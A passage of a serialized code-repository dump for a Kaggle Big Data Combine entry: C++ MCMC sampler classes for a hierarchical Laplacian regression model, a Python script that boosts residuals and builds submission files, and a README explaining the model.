std::string label, double temperature=1.0) :\n Parameter<arma::vec>(track, label, temperature), y_(y), X_(X)\n {\n mfeat = X.n_cols;\n ndata = X.n_rows;\n }\n \n arma::vec StartingValue();\n double LogDensity(arma::vec beta);\n void Save(arma::vec new_value) {value_ = new_value;}\n \n // setters and getters\n arma::mat& GetY() {return y_;}\n arma::mat& GetXmat() {return X_;}\n \n void SetParameters(tWeights& tW, Noise& Ssqr, CoefsMean& Mu, CoefsVar& Sigma) {\n pNoise_ = &Ssqr;\n pWeights_ = &tW;\n pCoefMean_ = &Mu;\n pCoefVar_ = &Sigma;\n }\n \n std::vector<double> getSample(int iter) {\n std::vector<double> this_sample = arma::conv_to<std::vector<double> >::from(samples_[iter]);\n return this_sample;\n }\n \n private:\n arma::vec y_;\n arma::mat X_;\n // pointers to other parameter objects\n tWeights* pWeights_;\n Noise* pNoise_;\n CoefsMean* pCoefMean_;\n CoefsVar* pCoefVar_;\n };\n \n class Noise : public Parameter<double> {\n public:\n \n Noise() {}\n Noise(bool track, std::string label, double temperature=1.0) :\n Parameter<double>(track, label, temperature) {}\n \n double StartingValue();\n double LogDensity(double sigsqr);\n \n // setters and getters\n void SetParameters(Coefs& ThisCoef, NoiseMean& NoiseMu, NoiseVar& NoiseSsqr)\n {\n pCoef_ = &ThisCoef;\n pNoiseMean_ = &NoiseMu;\n pNoiseVar_ = &NoiseSsqr;\n }\n \n private:\n // pointers to other parameter objects\n Coefs* pCoef_;\n NoiseMean* pNoiseMean_;\n NoiseVar* pNoiseVar_;\n CoefsMean* pCoefMu_;\n };\n \n} // namespace HMLinMAE\n\n#endif /* defined(__HMLinMAE__parameters__) */\n" }, { "alpha_fraction": 0.6028816103935242, "alphanum_fraction": 0.6145880222320557, "avg_line_length": 29.84722137451172, "blob_id": "5dd02579b1c8bf78730923b1260e2d2063133465", "content_id": "1732ba3a034095f69d47eb7b18865958a2799736", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2221, "license_type": "permissive", "max_line_length": 104, "num_lines": 72, "path": "/HMLinMAE/MaeGibbs.hpp", "repo_name": "joddm/BDC", "src_encoding": "UTF-8", "text": "//\n// VarGibbs.h\n// HMVAR\n//\n// Created by Brandon Kelly on 9/18/13.\n// Copyright (c) 2013 Brandon Kelly. All rights reserved.\n//\n\n#ifndef __HMLinMAE__VarGibbs__\n#define __HMLinMAE__VarGibbs__\n\n#include <iostream>\n#include \"linmae_parameters.hpp\"\n#include <samplers.hpp>\n\nusing namespace HMLinMAE;\n\ntypedef std::vector<double> vec1d;\ntypedef std::vector<vec1d> vec2d;\ntypedef std::vector<vec2d> vec3d;\n\nnamespace HMLinMAE\n{\n // class for setting up gibbs sampler for VAR(p) model\n class MaeGibbs {\n public:\n int mfeat; // # of features\n int nobjects; // # of individuals in population\n int nsamples; // # of MCMC samples generated\n int nprior_dof; // degrees of freedom for scaled inverse-chi-square prior on population variance\n double nprior_ssqr; // same as above, but the scale parameters\n int tdof; // degrees of freedom for student's t model\n \n MaeGibbs() {};\n MaeGibbs(int nu, vec2d y, vec3d X) { SetupModel(nu, y, X); }\n \n void SetupModel(int nu, vec2d y, vec3d X);\n \n void RunMCMC(int nmcmc, int nburnin, int nthin=1);\n \n // grab MCMC samples\n vec2d GetCoefsMean();\n vec1d GetNoiseMean();\n vec2d GetCoefs(int day);\n vec1d GetSigSqr(int day);\n vec1d GetWeights(int day);\n \n // grab the parameter objects\n CoefsMean* GrabCoefPopMean() { return &CoefPopMean_; }\n CoefsVar* GrabCoefPopVar() { return &CoefPopVar_; }\n NoiseMean* GrabNoisePopMean() { return &NoisePopMean_; }\n NoiseVar* GrabNoisePopVar() { return &NoisePopVar_; }\n tWeights* GrabWeights(int day) { return &Weights_[day]; }\n Coefs* GrabCoef(int day) { return &Beta_[day]; }\n Noise* GrabSigSqr(int day) { return &SigSqr_[day]; }\n \n private:\n CoefsMean CoefPopMean_;\n CoefsVar CoefPopVar_;\n NoiseMean NoisePopMean_;\n NoiseVar NoisePopVar_;\n std::vector<tWeights> Weights_;\n std::vector<Coefs> Beta_;\n std::vector<Noise> SigSqr_;\n\n void MakeParameters_(vec2d& y, vec3d& X);\n void ConnectParameters_();\n };\n} // namespace HMLinMAE\n\n\n#endif /* defined(__HMLinMAE__VarGibbs__) */\n" }, { "alpha_fraction": 0.5605053901672363, "alphanum_fraction": 0.5826162695884705, "avg_line_length": 29.705686569213867, "blob_id": "8f89cc498a0ae9eee333d6ad8c99f96940b4fb8c", "content_id": "880200529e0fb2cd8e8042cac5200915693899f7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9181, "license_type": "permissive", "max_line_length": 105, "num_lines": 299, "path": "/boost_hmlin_residuals.py", "repo_name": "joddm/BDC", "src_encoding": "UTF-8", "text": "__author__ = 'brandonkelly'\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport hmlinmae_gibbs as hmlin\nimport os\nimport multiprocessing as mp\nfrom sklearn.ensemble import GradientBoostingRegressor\nfrom sklearn import cross_validation\nfrom sklearn.metrics import mean_absolute_error\nimport cPickle\n\nbase_dir = os.environ['HOME'] + '/Projects/Kaggle/big_data_combine/'\nplags = 3\nndays = 510\nntime = 54\n\n# get the data\nfname = base_dir + 'data/BDC_dataframe.p'\ndf = pd.read_pickle(fname)\n\ntrain_file = base_dir + 'data/trainLabels.csv'\ntrain = pd.read_csv(train_file)\ntrain = train.drop(train.columns[0], axis=1)\n\nntrain = len(train)\n\n# global MCMC parameters\nnsamples = 10000\nnburnin = 10000\nnthin = 5\ntdof = 10000\n\n\ndef build_submission_file(yfit, snames, filename):\n\n header = 'FileID'\n for s in snames:\n header += ',' + s\n header += '\\n'\n\n # check for zero standard deviation\n for i in xrange(yfit.shape[0]):\n for j in xrange(yfit.shape[1]):\n # stock j on day i\n ystd = np.std(df[snames[j]].ix[200 + i + 1][1:])\n if ystd < 1e-6:\n yfit[i, j] = df[snames[j]].ix[200 + i + 1, 54]\n\n submission = np.insert(yfit, 0, np.arange(201, 511), axis=1)\n\n submission_file = base_dir + 'data/submissions/' + filename\n sfile = open(submission_file, 'w')\n sfile.write(header)\n for i in xrange(submission.shape[0]):\n this_row = str(submission[i, 0])\n for j in xrange(1, submission.shape[1]):\n this_row += ',' + str(submission[i, j])\n this_row += '\\n'\n sfile.write(this_row)\n\n sfile.close()\n\n\ndef boost_residuals(args):\n resid, stock_idx = args\n\n X, Xpredict = build_design_matrix(stock_idx)\n\n gbr = GradientBoostingRegressor(loss='lad', max_depth=2, subsample=0.5, learning_rate=0.001,\n n_estimators=400)\n\n gbr.fit(X, resid)\n\n oob_error = -np.cumsum(gbr.oob_improvement_)\n #plt.plot(oob_error)\n #plt.show()\n\n ntrees = np.max(np.array([np.argmin(oob_error) + 1, 5]))\n\n print \"Using \", ntrees, \" trees for stock \", cnames[stock_idx]\n\n gbr.n_estimators = ntrees\n\n # get cross-validation accuracy\n print \"Getting CV error...\"\n cv_error = cross_validation.cross_val_score(gbr, X, y=resid, score_func=mean_absolute_error,\n cv=10)\n\n gbr.fit(X, resid)\n\n fimportance = gbr.feature_importances_\n fimportance /= fimportance.max()\n\n pfile_name = base_dir + 'data/GBR_O' + str(stock_idx+1) + '.p'\n pfile = open(pfile_name, 'wb')\n cPickle.dump(gbr, pfile)\n pfile.close()\n\n return gbr.predict(Xpredict), cv_error, fimportance\n\n\ndef build_design_matrix(stock_idx):\n\n # construct array of predictors\n fnames = []\n for f in df.columns:\n if f[0] == 'I':\n fnames.append(f)\n\n cnames = df.columns\n\n npredictors = len(fnames)\n two_hours = 24\n\n thisX = np.empty((ntrain, npredictors))\n thisXpredict = np.empty((ndata - ntrain, npredictors))\n for j in xrange(len(fnames)):\n thisX[:, j] = df[fnames[j]].ix[:, 54][:ntrain]\n thisXpredict[:, j] = df[fnames[j]].ix[:, 54][ntrain:]\n\n # remove day 22\n thisX = np.delete(thisX, 21, axis=0)\n\n return thisX, thisXpredict\n\n\nif __name__ == \"__main__\":\n\n # get the stock labels\n snames = []\n for c in df.columns:\n if c[0] == 'O':\n snames.append(c)\n\n nstocks = len(snames)\n ndata = ndays\n\n # construct the response arrays\n y = []\n for i in xrange(nstocks):\n thisy = np.empty(ndata)\n thisy[:ntrain] = train[snames[i]]\n thisy[ntrain:] = df[snames[i]].ix[:, 54][ntrain:]\n thisy = np.delete(thisy, (21, 421), axis=0)\n y.append(thisy)\n\n # construct the predictor arrays\n two_hours = 24\n args = []\n print 'Building data arrays...'\n mfeat = 1 + plags\n X = []\n for i in xrange(nstocks):\n thisX = np.empty((ndata, mfeat))\n thisX[:, 0] = 1.0 # first column corresponds to constant\n for j in xrange(plags):\n thisX[:ntrain, j + 1] = df[snames[i]].ix[:, 54 - j][:ntrain]\n thisX[ntrain:, j + 1] = df[snames[i]].ix[:, 54 - two_hours - j][ntrain:]\n thisX = np.delete(thisX, (21, 421), axis=0)\n X.append(thisX)\n\n # run the MCMC sampler to get linear predictors based on previous values\n samples = hmlin.run_gibbs(y, X, nsamples, nburnin, nthin, tdof)\n\n sfile = open(base_dir + 'data/linmae_samples.p', 'wb')\n cPickle.dump(samples, sfile)\n sfile.close()\n\n print 'Getting predictions from MCMC samples ...'\n\n # boost residuals from predicted values at 2pm and 4pm for the training set, and 2pm for the test set\n y = np.empty((ndays + ntrain, nstocks))\n yfit = np.empty((ndays + ntrain, nstocks))\n ysubmit = np.empty((ndays - ntrain, nstocks))\n Xsubmit = np.empty((ndays - ntrain, mfeat, nstocks))\n Xfit = np.empty((ndays + ntrain, mfeat, nstocks))\n # Xfit[0:ndata, :, :] = the predictors for the 2pm values for the entire data set\n # Xfit[ndata:, :, :] = the predictors for the 4pm values for the training data set\n\n ndata = ndays\n\n for i in xrange(nstocks):\n print '... ', snames[i], ' ...'\n y[:ndays, i] = df[snames[i]].ix[:, 54] # value at 2pm\n y[ndays:, i] = train[snames[i]] # value at 4pm\n Xfit[:, 0, i] = 1.0 # first column corresponds to constant\n Xsubmit[:, 0, i] = 1.0\n for j in xrange(plags):\n # value at 12pm\n Xfit[:ndays, j + 1, i] = df[snames[i]].ix[:, 54 - j - two_hours]\n # value at 2pm\n Xfit[ndays:, j + 1, i] = df[snames[i]].ix[:, 54 - j][:ntrain]\n Xsubmit[:, j + 1, i] = df[snames[i]].ix[:, 54 - j][ntrain:]\n\n for d in xrange(len(snames)):\n for k in xrange(yfit.shape[0]):\n ypredict, ypvar = samples.predict(Xfit[k, :, d], d)\n yfit[k, d] = np.median(ypredict)\n for k in xrange(ysubmit.shape[0]):\n ypredict, ypvar = samples.predict(Xsubmit[k, :, d], d)\n ysubmit[k, d] = np.median(ypredict)\n\n build_submission_file(ysubmit, snames, 'hmlin_mae.csv')\n\n resid = y - yfit\n resid = resid[ndata:, :]\n #remove days 22 and 422\n resid = np.delete(resid, 21, axis=0)\n\n # compare histogram of residuals with expected distribution\n print 'Comparing histogram of residuals against model distributions...'\n for d in xrange(len(snames)):\n this_resid = y[:, d] - yfit[:, d]\n # rmax = np.percentile(this_resid, 0.99)\n # rmin = np.percentile(this_resid, 0.01)\n # rrange = rmax - rmin\n # rmax += 0.05 * rrange\n # rmin -= 0.05 * rrange\n plt.clf()\n n, bins, patches = plt.hist(this_resid, bins=30, normed=True)\n bins = np.linspace(np.min(bins), np.max(bins), 100)\n sigsqr = samples.get_samples('sigsqr ' + str(d))\n pdf = np.zeros(len(bins))\n for b in xrange(len(bins)):\n pdf[b] = np.mean(1.0 / 2.0 / np.sqrt(sigsqr) * np.exp(-np.abs(bins[b]) / np.sqrt(sigsqr)))\n plt.plot(bins, pdf, 'r-', lw=2)\n plt.savefig(base_dir + 'plots/residual_distribution_' + snames[d] + '.png')\n plt.close()\n\n # plot model values vs true values at 4pm\n\n sidx = 0\n for s in snames:\n plt.clf()\n plt.plot(yfit[ndata:, sidx], train[s], 'b.')\n xlower = np.percentile(train[s], 1.0)\n xupper = np.percentile(train[s], 99.0)\n xr = xupper - xlower\n plt.xlim(xlower - 0.05 * xr, xupper + 0.05 * xr)\n plt.ylim(xlower - 0.05 * xr, xupper + 0.05 * xr)\n plt.plot(plt.xlim(), plt.xlim(), 'r-', lw=2)\n sidx += 1\n plt.xlabel('Estimated value at 4pm')\n plt.ylabel('True value at 4pm')\n plt.savefig(base_dir + 'plots/model_vs_true_' + s + '.png')\n plt.close()\n\n\n # construct array of predictors\n fnames = []\n for f in df.columns:\n if f[0] == 'I':\n fnames.append(f)\n\n # now gradient boost the residuals\n print \"Fitting gradient boosted trees...\"\n\n cnames = df.columns\n npredictors = 2 * (len(df.columns) - 1)\n args = []\n for i in xrange(nstocks):\n args.append((resid[:, i], i))\n\n pool = mp.Pool(mp.cpu_count()-1)\n results = pool.map(boost_residuals, args)\n\n #print np.mean(abs(resid[:, 1]))\n #results = boost_residuals(args[1])\n\n print 'Training error:', np.mean(abs(resid))\n\n cverror = 0.0\n fimportance = 0.0\n for r in results:\n cverror += np.mean(r[1])\n fimportance += r[2]\n\n fimportance /= nstocks\n sort_idx = fimportance.argsort()\n print \"Sorted feature importances: \"\n for s in sort_idx:\n print fnames[s], fimportance[s]\n\n print ''\n print 'CV error is: ', cverror / len(results)\n\n idx = 0\n for r in results:\n # add AR(p) contribution back in\n ysubmit[:, idx] = r[0] + ysubmit[:, idx]\n idx += 1\n\n subfile = 'hmlin_mae_boost.csv'\n build_submission_file(ysubmit, snames, subfile)\n\n # compare submission file with last observed value as a sanity check\n dfsubmit = pd.read_csv(base_dir + 'data/submissions/' + subfile)\n" }, { "alpha_fraction": 0.7902061939239502, "alphanum_fraction": 0.7963917255401611, "avg_line_length": 96, "blob_id": "14942d3241b78d9decd9674e1670009a31df907c", "content_id": "d9a158312378fc98209855ea3355f79ec2da4287", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3880, "license_type": "permissive", "max_line_length": 1250, "num_lines": 40, "path": "/README.md", "repo_name": "joddm/BDC", "src_encoding": "UTF-8", "text": "BDC\n===\n\nCode used to generate my submission for the Big Data Combine Kaggle Competition\n\n===\n\nDescription of Model:\n\nI used a Hierarchical model and carried out Bayesian inference using Markov Chain Monte Carlo. I modeled the value of a security two hours in the future as having a Laplacian distribution with mean given by a linear combination of the values at the current time, the value 5 minutes earlier, and the value 10 minutes earlier. The free parameters are the constant, the regression coefficients, and the width of the Laplacian distribution. These were assumed to be different for each security. I chose this model because the maximum a posteriori estimate under this model corresponds to the estimate that minimizes the mean absolute error.\n\nIn addition, I also modeled the joint distribution of the regression parameters (intercepts and slopes) as having a student's t-distribution with unknown mean and covariance matrix. In practice, I did not notice a large difference between the t model and a normal model, so I used the t model with a large value for the degrees of freedom. The distribution of the scale (variance) parameters for each security was modeled using a log-normal distribution with unknown mean and variance. I used broad priors for the group level parameters. I then used MCMC to obtain random draws from the joint posterior of the regression parameters for each security, the Laplacian scale parameters for each security, the mean and covariance matrix of the regression parameters over all securities, and the log-normal parameters for the distribution of the scale parameters. Then, for each of the MCMC samples I used the parameters to predict the value of the price two hours in the future. This gave me a set of random samples of the predicted price from its posterior probability distribution. I then computed my predictions ('best-fit' values) for the price of each security two hours in the future from the median of the predictions derived from the MCMC samples.\n\nWhen fitting the data I trained my model using both the values at 4pm for the training set, and the values at 2pm for the test set. This way I also use the data from the test set, and my model is not slanted strongly towards the training set. So, in other words, I tried to predict the values at 4pm for the training set using the values at 2pm, 1:55pm, and 1:50pm, and I tried to predict the values at 2pm for the test set using the values at noon, 11:55am, and 11:50am.\n\nFinally, I trained a gradient boosted regression tree on the residuals from the MCMC sampler predictions using the Box-Cox transformed sentiment data (the 'features'). However, the number of estimators used was very small, and this only resulting in a very small improvement; it is unclear how much this helped.\n\n===\n\nInstallation notes:\n\nThe code is a mixture of C++ and Python. The MCMC sampler is written in C++ as a Python extension for increased speed. Everything else is written in Python, including the calls to the MCMC sampler.\n\nIn order to install the MCMC sampler, you will need the Boost and Armadillo C++ libraries installed. In particular, the Python extension is built using Boost.Python. You will also have to build my yamcmcpp library for the MCMC sampler classes, which is also available on my Github account. Once you have built these libraries, then in theory it should be sufficient to simply do\n\npython setup.py install\n\nHowever, the compilers flags are particular to my Mac OS X install, so they will probably be different for other OS. This can be edited in the setup.py file.\n\n===\n\nTo create my submission file, perform the following steps (note that file locations, etc., would need to be changed):\n\n1) First build the Pandas data frame\n\npython get_data.py\n\n2) Now run the MCMC samplers, boost the residuals, and build the submission file\n\npython boost_hmlin_residuals.py\n" }, { "alpha_fraction": 0.6007581949234009, "alphanum_fraction": 0.6125299334526062, "avg_line_length": 30.268749237060547, "blob_id": "2426901c90050a76598d443b41e52133a9b6accd", "content_id": "badb3df9fec0f5386aafba6633fea117eb44fa37", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5012, "license_type": "permissive", "max_line_length": 142, "num_lines": 160, "path": "/HMLinMAE/MaeGibbs.cpp", "repo_name": "joddm/BDC", "src_encoding": "UTF-8", "text": "//\n// MaeGibbs.cpp\n// HMVAR\n//\n// Created by Brandon Kelly on 9/18/13.\n// Copyright (c) 2013 Brandon Kelly. All rights reserved.\n//\n\n#include <samplers.hpp>\n#include <steps.hpp>\n#include <proposals.hpp>\n#include \"MaeGibbs.hpp\"\n#include \"linmae_parameters.hpp\"\n\nusing namespace HMLinMAE;\n\nvoid MaeGibbs::SetupModel(int nu, vec2d y, vec3d X)\n{\n nobjects = y.size();\n mfeat = X[0][0].size();\n tdof = nu;\n // default values for prior parameters on population variance of white noise variances\n nprior_ssqr = 0.1 * 0.1;\n nprior_dof = 4;\n\n nsamples = 0;\n \n MakeParameters_(y, X);\n ConnectParameters_();\n}\n\n// make the parameter objects for the VAR(p) model Gibbs sampler under the student t population model.\nvoid MaeGibbs::MakeParameters_(vec2d& y, vec3d& X)\n{\n CoefPopMean_ = CoefsMean(mfeat, true, \"mu\");\n CoefPopVar_ = CoefsVar(mfeat, false, \"covar\");\n NoisePopMean_ = NoiseMean(true, \"ssqr\");\n NoisePopVar_ = NoiseVar(nprior_dof, nprior_ssqr, false, \"sigsqr var\");\n for (int i=0; i<nobjects; i++) {\n std::string w_label(\"weights_\");\n w_label.append(std::to_string(i));\n Weights_.push_back(tWeights(mfeat, tdof, true, w_label));\n \n std::string beta_label(\"beta_\");\n beta_label.append(std::to_string(i));\n // convert vec1d for y input to arma::vec\n arma::vec this_y = arma::conv_to<arma::vec>::from(y[i]);\n // convert vec2d for X to arma::mat\n int ndata = y[i].size();\n arma::mat this_X(ndata, mfeat);\n for (int j=0; j<ndata; j++) {\n this_X.row(j) = arma::conv_to<arma::rowvec>::from(X[i][j]);\n }\n Beta_.push_back(Coefs(this_y, this_X, true, beta_label, 1.0));\n \n std::string sigsqr_label(\"sigsqr_\");\n sigsqr_label.append(std::to_string(i));\n SigSqr_.push_back(Noise(true, sigsqr_label));\n }\n}\n\n// connect the parameter objects, so they can simulate from their conditional posteriors\nvoid MaeGibbs::ConnectParameters_()\n{\n CoefPopMean_.SetCovar(CoefPopVar_);\n CoefPopVar_.SetMu(CoefPopMean_);\n NoisePopMean_.SetNoiseVar(NoisePopVar_);\n NoisePopVar_.SetNoiseMean(NoisePopMean_);\n for (int i=0; i<nobjects; i++) {\n CoefPopMean_.AddCoef(Beta_[i]);\n CoefPopMean_.AddWeight(Weights_[i]);\n CoefPopVar_.AddCoefs(Beta_[i]);\n CoefPopVar_.AddWeights(Weights_[i]);\n NoisePopMean_.AddNoise(SigSqr_[i]);\n NoisePopVar_.AddNoise(SigSqr_[i]);\n Weights_[i].SetParameters(CoefPopMean_, CoefPopVar_, Beta_[i]);\n Beta_[i].SetParameters(Weights_[i], SigSqr_[i], CoefPopMean_, CoefPopVar_);\n SigSqr_[i].SetParameters(Beta_[i], NoisePopMean_, NoisePopVar_);\n }\n}\n\n// run the MCMC sampler\nvoid MaeGibbs::RunMCMC(int nmcmc, int burnin, int nthin)\n{\n nsamples = nmcmc;\n Sampler Model(nsamples, burnin, nthin);\n \n // proposal for Metropolis-within-gibbs are student's t\n StudentProposal tProp(4.0, 1.0);\n \n double target_rate = 0.4;\n double ivar = 0.01;\n \n // add each of the MCMC steps, need to keep this order\n Model.AddStep(new GibbsStep<double>(NoisePopMean_));\n Model.AddStep(new GibbsStep<double>(NoisePopVar_));\n for (int i=0; i<nobjects; i++) {\n Model.AddStep(new GibbsStep<double>(Weights_[i]));\n }\n Model.AddStep(new GibbsStep<arma::mat>(CoefPopVar_));\n Model.AddStep(new GibbsStep<arma::vec>(CoefPopMean_));\n for (int i=0; i<nobjects; i++) {\n arma::mat this_X = Beta_[i].GetXmat();\n arma::mat icovar = this_X.t() * this_X;\n icovar.diag() *= 1.5;\n try {\n icovar = arma::inv(arma::sympd(icovar));\n } catch (std::runtime_error& e) {\n std::cout << \"Caught runtime error when trying to compute initial covariance matrix of coefficient proposal for day \" << i << \", \"\n << e.what() << std::endl;\n icovar.print();\n std::cout << \"Just using the identity matrix...\" << std::endl;\n icovar.eye();\n }\n Model.AddStep(new AdaptiveMetro(Beta_[i], tProp, icovar, 0.35, burnin));\n Model.AddStep(new UniAdaptiveMetro(SigSqr_[i], tProp, ivar, 0.4, burnin));\n }\n \n Model.Run();\n}\n\n// return a MCMC sample of the population mean of the coefficients in a vector format\nvec2d MaeGibbs::GetCoefsMean()\n{\n vec2d the_mus;\n for (int i=0; i<nsamples; i++) {\n vec1d this_mu = CoefPopMean_.getSample(i);\n the_mus.push_back(this_mu);\n }\n\n return the_mus;\n}\n\nvec1d MaeGibbs::GetNoiseMean()\n{\n vec1d ssqr = NoisePopMean_.GetSamples();\n return ssqr;\n}\n\nvec2d MaeGibbs::GetCoefs(int object)\n{\n vec2d the_betas;\n for (int i=0; i<nsamples; i++) {\n vec1d this_beta = Beta_[object].getSample(i);\n the_betas.push_back(this_beta);\n }\n \n return the_betas;\n}\n\nvec1d MaeGibbs::GetSigSqr(int object)\n{\n return SigSqr_[object].GetSamples();\n}\n\nvec1d MaeGibbs::GetWeights(int object)\n{\n vec1d this_w = Weights_[object].GetSamples();\n return this_w;\n}\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6092379093170166, "alphanum_fraction": 0.6162280440330505, "avg_line_length": 30.452587127685547, "blob_id": "fb638a78677e1a3f452b8ea7b3edabff6a0cfbe8", "content_id": "95d3ec9c2ba119d1c0adac1f8a35325c47dcfe3e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7296, "license_type": "permissive", "max_line_length": 131, "num_lines": 232, "path": "/HMLinMAE/linmae_parameters.cpp", "repo_name": "joddm/BDC", "src_encoding": "UTF-8", "text": "//\n// parameters.cpp\n// HMVAR\n//\n// Created by Brandon Kelly on 9/13/13.\n// Copyright (c) 2013 Brandon Kelly. All rights reserved.\n//\n\n#include \"linmae_parameters.hpp\"\n#include <random.hpp>\n#include <boost/math/special_functions/gamma.hpp>\n#include <boost/math/distributions/gamma.hpp>\n\nusing namespace HMLinMAE;\n\n// Global random number generator object, instantiated in random.cpp\nextern boost::random::mt19937 rng;\n\n// Object containing some common random number generators.\nextern RandomGenerator RandGen;\n\ndouble tWeights::StartingValue()\n{\n double w = RandGen.scaled_inverse_chisqr(dof, 1.0);\n return w;\n}\n\ndouble tWeights::RandomPosterior()\n{\n arma::vec beta_cent = pCoef_->Value() - pCoefMean_->Value();\n arma::mat beta_prec = arma::inv(arma::sympd(pCoefVar_->Value()));\n double zsqr = arma::as_scalar(beta_cent.t() * beta_prec * beta_cent);\n int post_dof = mfeat + dof;\n double post_ssqr = (zsqr + dof) / post_dof;\n double w = RandGen.scaled_inverse_chisqr(post_dof, post_ssqr);\n return w;\n}\n\narma::vec CoefsMean::StartingValue()\n{\n arma::vec mu(value_.n_elem);\n arma::mat this_covar = pCoefsVar_->Value();\n mu = RandGen.normal(this_covar);\n return mu;\n}\n\narma::vec CoefsMean::RandomPosterior()\n{\n int nobjects = pCoefs_.size();\n arma::vec mu(value_.n_elem);\n double wsum = 0.0;\n arma::vec mean_beta(mfeat);\n mean_beta.zeros();\n for (int i=0; i<nobjects; i++) {\n arma::vec this_beta = pCoefs_[i]->Value();\n wsum += 1.0 / pWeights_[i]->Value();\n mean_beta += this_beta / pWeights_[i]->Value();\n }\n mean_beta /= wsum;\n arma::mat this_covar = pCoefsVar_->Value() / wsum;\n mu = mean_beta + RandGen.normal(this_covar);\n return mu;\n}\n\narma::mat CoefsVar::StartingValue()\n{\n arma::mat varmat = RandGen.inv_wishart(100 * prior_dof, prior_scale);\n return varmat;\n}\n\narma::mat CoefsVar::RandomPosterior()\n{\n int post_dof = prior_dof + pCoefs_.size();\n int nobjects = pCoefs_.size();\n arma::mat Smat(prior_scale.n_rows, prior_scale.n_cols);\n Smat.zeros();\n arma::vec mu = pCoefsMean_->Value();\n for (int i=0; i<nobjects; i++) {\n arma::vec this_beta = pCoefs_[i]->Value();\n arma::vec beta_cent = this_beta - mu;\n Smat += beta_cent * beta_cent.t() / pWeights_[i]->Value();\n }\n arma::mat post_scale = Smat + prior_scale;\n arma::mat Sigma = RandGen.inv_wishart(post_dof, Smat + prior_scale);\n return Sigma;\n}\n\n// just do a random draw from the prior\ndouble NoiseMean::StartingValue()\n{\n double mu_ssqr = RandGen.scaled_inverse_chisqr(4, 1.0);\n return mu_ssqr;\n}\n\ndouble NoiseMean::RandomPosterior()\n{\n int nobjects = pNoise_.size();\n double mu_ssqr;\n\n double ssqr_sum = 0.0;\n for (int i=0; i<nobjects; i++) {\n ssqr_sum += log(pNoise_[i]->Value());\n }\n double log_mu_ssqr = RandGen.normal(ssqr_sum / nobjects, sqrt(pNoiseVar_->Value() / nobjects));\n mu_ssqr = exp(log_mu_ssqr);\n \n return mu_ssqr;\n}\n\n// just do a random draw from the prior\ndouble NoiseVar::StartingValue()\n{\n return RandGen.scaled_inverse_chisqr(prior_dof_, prior_ssqr_);\n}\n\ndouble NoiseVar::RandomPosterior()\n{\n int data_dof = pNoise_.size();\n int post_dof = prior_dof_ + data_dof;\n \n double ssqr = 0.0;\n for (int i=0; i<pNoise_.size(); i++) {\n double ncent = log(pNoise_[i]->Value()) - log(pNoiseMean_->Value());\n ssqr += ncent * ncent;\n }\n ssqr /= data_dof;\n \n double post_ssqr = (prior_dof_ * prior_ssqr_ + data_dof * ssqr) / post_dof;\n return RandGen.scaled_inverse_chisqr(post_dof, post_ssqr);\n}\n\n// do random draw from conditional posterior\narma::vec Coefs::StartingValue()\n{\n arma::vec beta(mfeat);\n double weights = pWeights_->Value();\n for (int j=0; j<mfeat; j++) {\n arma::vec mu = pCoefMean_->Value();\n arma::mat popvar = weights * pCoefVar_->Value();\n // posterior precision matrix of VAR(p) coefficients corresponding y_j\n arma::mat Bprec = X_.t() * X_;\n Bprec += arma::eye(popvar.n_rows, popvar.n_cols); // add in contribution from population variance\n // get cholesky factor\n arma::mat Bvar;\n try {\n Bvar = arma::inv(arma::sympd(Bprec));\n } catch (std::runtime_error& e) {\n std::cout << \"Caught runtime error when trying to compute starting values for coefficients: \" << e.what() << std::endl;\n std::cout << \"Just using the identity matrix for starting value covariance...\" << std::endl;\n Bvar = arma::eye(Bprec.n_rows, Bprec.n_cols);\n }\n\n arma::mat Ubeta = arma::chol(Bvar); // upper triangular matrix returned\n \n // get posterior mean for coefficients\n arma::vec post_mean = Bvar * (X_.t() * y_ + popvar.i() * mu);\n // draw coefficients from posterior, a multivariate normal\n arma::vec snorm(mfeat);\n \n for (int k=0; k<snorm.n_elem; k++) {\n snorm(k) = RandGen.normal();\n }\n beta = post_mean + Ubeta.t() * snorm;\n }\n \n return beta;\n}\n\n// return conditional posterior of beta given population values and data\ndouble Coefs::LogDensity(arma::vec beta)\n{\n arma::vec mu = pCoefMean_->Value();\n arma::mat covar = pCoefVar_->Value();\n double sigsqr = pNoise_->Value();\n double w = pWeights_->Value();\n \n arma::vec yhat = X_ * beta;\n // get residual MAE\n double rad = arma::norm(y_ - yhat, 1);\n // add log-likelihood contribution\n double loglik = -0.5 * y_.n_rows * log(sigsqr) - rad / sqrt(sigsqr);\n // add log-population level contribution to log-posterior, a log-normal distribution\n arma::vec beta_cent = beta - mu;\n double logprior = -0.5 * log(arma::det(w * covar)) -\n 0.5 * arma::as_scalar(beta_cent.t() * arma::inv(arma::sympd(w * covar)) * beta_cent);\n\n double logpost = logprior + loglik;\n \n return logpost;\n}\n\n\n// for initial value just draw from scaled-inverse chi-square, ignoring the prior distribution\ndouble Noise::StartingValue()\n{\n arma::vec beta = pCoef_->Value();\n arma::mat y = pCoef_->GetY();\n arma::mat X = pCoef_->GetXmat();\n\n double sigsqr;\n // get residual sum of squares for y_j\n double rss = arma::norm(y - X * beta, 2);\n rss *= rss / y.n_rows;\n sigsqr = RandGen.scaled_inverse_chisqr(y.n_rows, rss);\n \n return sigsqr;\n}\n\n// return conditional posterior of white noise variance given population values and estimated time series\ndouble Noise::LogDensity(double sigsqr)\n{\n arma::vec beta = pCoef_->Value();\n arma::mat y = pCoef_->GetY();\n arma::mat X = pCoef_->GetXmat();\n double ssqr_mean = pNoiseMean_->Value();\n double ssqr_var = pNoiseVar_->Value();\n \n // get sum of absolute deviations for y_j\n double rad = arma::norm(y - X * beta, 1);\n // add log-likelihood contribution\n double loglik = -0.5 * pCoef_->GetY().n_rows * log(sigsqr) - rad / sqrt(sigsqr);\n // add log-population level contribution to log-posterior, a log-normal distribution\n double logprior = -log(sigsqr) - 0.5 * (log(sigsqr) - log(ssqr_mean)) * (log(sigsqr) - log(ssqr_mean)) / ssqr_var;\n \n double logpost = loglik + logprior;\n if (sigsqr <= 